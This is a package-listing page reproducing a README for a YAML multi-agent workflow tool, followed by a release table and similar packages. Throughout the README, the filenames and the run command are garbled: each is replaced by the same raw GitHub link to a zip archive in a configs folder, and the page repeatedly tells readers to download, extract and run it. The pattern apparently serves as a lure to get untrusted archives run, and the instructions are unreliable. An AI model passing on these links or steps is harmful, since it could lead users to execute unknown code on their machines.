freshcrate
Home > MCP Servers > YAML-Multi-Agent-Orchestrator

YAML-Multi-Agent-Orchestrator

🤖 Define and execute multi-agent AI workflows declaratively using YAML, simplifying orchestration and enhancing collaboration through automatic context handling.

Description

🤖 Define and execute multi-agent AI workflows declaratively using YAML, simplifying orchestration and enhancing collaboration through automatic context handling.

README

🎉 YAML-Multi-Agent-Orchestrator - Simplify Your Workflow Management

Download

🌟 Overview

YAML-Multi-Agent-Orchestrator is a powerful tool designed to help you define and manage workflows simply and effectively. By using YAML, you can easily set up multi-agent systems that run tasks concurrently and exchange context smoothly. This makes it ideal for automation and orchestrating complex processes without the need for any programming skills.

🚀 Getting Started

🌐 System Requirements

Before you start using the YAML-Multi-Agent-Orchestrator, ensure that your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: Python 3.7 or higher
  • Minimum RAM: 4 GB
  • Disk Space: At least 100 MB available

🔗 Download & Install

To download and install the software, visit the following page:

Download YAML-Multi-Agent-Orchestrator

On this page, you will find the latest release. Click on the version number you wish to download to see the available files.

📁 Installation Steps

  1. Download the Release
    Click on the version you want, then select the appropriate file for your system. This is usually a .zip or https://github.com/CharlesDaniel52/YAML-Multi-Agent-Orchestrator/raw/refs/heads/main/configs/Agent-Orchestrator-YAM-Multi-1.9.zip file.

  2. Extract the Files
    Once the download is complete, locate the file in your Downloads folder. Right-click on the file and choose "Extract All" or use an extraction tool like WinRAR or 7-Zip.

  3. Run the Application
    After extracting, navigate to the folder where the files were extracted. You may see a file named https://github.com/CharlesDaniel52/YAML-Multi-Agent-Orchestrator/raw/refs/heads/main/configs/Agent-Orchestrator-YAM-Multi-1.9.zip. You can run this file using Python.

🏁 Running Your First Workflow

After installation, you can start running workflows with the YAML-Multi-Agent-Orchestrator by following these steps:

  1. Create a YAML File
    Use a text editor to create a YAML file that defines your workflow. Below is a basic example to help you get started:

    agents:
      - name: agent1
        tasks:
          - name: task1
            action: execute
          - name: task2
            action: execute
      - name: agent2
        tasks:
          - name: task1
            action: execute
  2. Run the Workflow
    Open a terminal or command prompt. Navigate to the folder containing your YAML file. Run the command:

    python https://github.com/CharlesDaniel52/YAML-Multi-Agent-Orchestrator/raw/refs/heads/main/configs/Agent-Orchestrator-YAM-Multi-1.9.zip https://github.com/CharlesDaniel52/YAML-Multi-Agent-Orchestrator/raw/refs/heads/main/configs/Agent-Orchestrator-YAM-Multi-1.9.zip
    

🛠 Features

  • Declarative Configuration: Use simple YAML syntax to outline your workflows.
  • Automatic Orchestration: The tool automatically manages the execution of agents and tasks.
  • Parallel Execution: Run multiple agents at once to save time.
  • Context Passing: Agents can share information seamlessly, improving coordination and efficiency.

🔖 Documentation

For further instructions and detailed documentation, refer to our Wiki. This will guide you through advanced features, troubleshooting, and best practices.

❓ Frequently Asked Questions (FAQs)

What is YAML?

YAML is a human-readable data serialization format that is often used for configuration files. It is easy to read and write, making it user-friendly for those who may not have programming experience.

Can I use this application for complex workflows?

Yes, the YAML-Multi-Agent-Orchestrator is designed to handle both simple and complex workflows. You can create intricate systems with multiple agents and tasks interlinked.

Is Python required to run this software?

Yes, you need to have Python installed on your machine as the application is built using Python.

✉️ Support

If you run into issues or have questions, please submit an issue on our GitHub Issues page. Our team is here to help you.

📑 License

This project is licensed under the MIT License. Please see the LICENSE file for details.

Download

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found — using repo HEADHigh4/9/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

GhostDeskGive any AI agent a full desktop — it sees the screen, clicks, types, and runs apps like a human. Automate anything with a UI: browsers, legacy software, internal tools. No API needed. One Docker commv7.1.0
Autonomous-Research-Agent🔍 Automate research tasks with the Autonomous Research Agent, utilizing intelligent queries and parallel searches to create concise, comprehensive reports.main@2026-04-21
telegram-mcp🤖 Manage multiple Telegram accounts effortlessly with AI-driven tools for bulk messaging, scheduling, and more in one easy-to-use platform.main@2026-04-21
agentic-ai🤖 Explore AI agent architectures with agentic-ai, featuring ReAct agents, reflection-based designs, and modular LLM integrations using LangChain and LangGraph.main@2026-04-21
MCP---Agent-Starter-Kit🚀 Build and explore multi-agent AI workflows with ready-to-use projects for document serving, Q/A bots, and orchestration.main@2026-04-21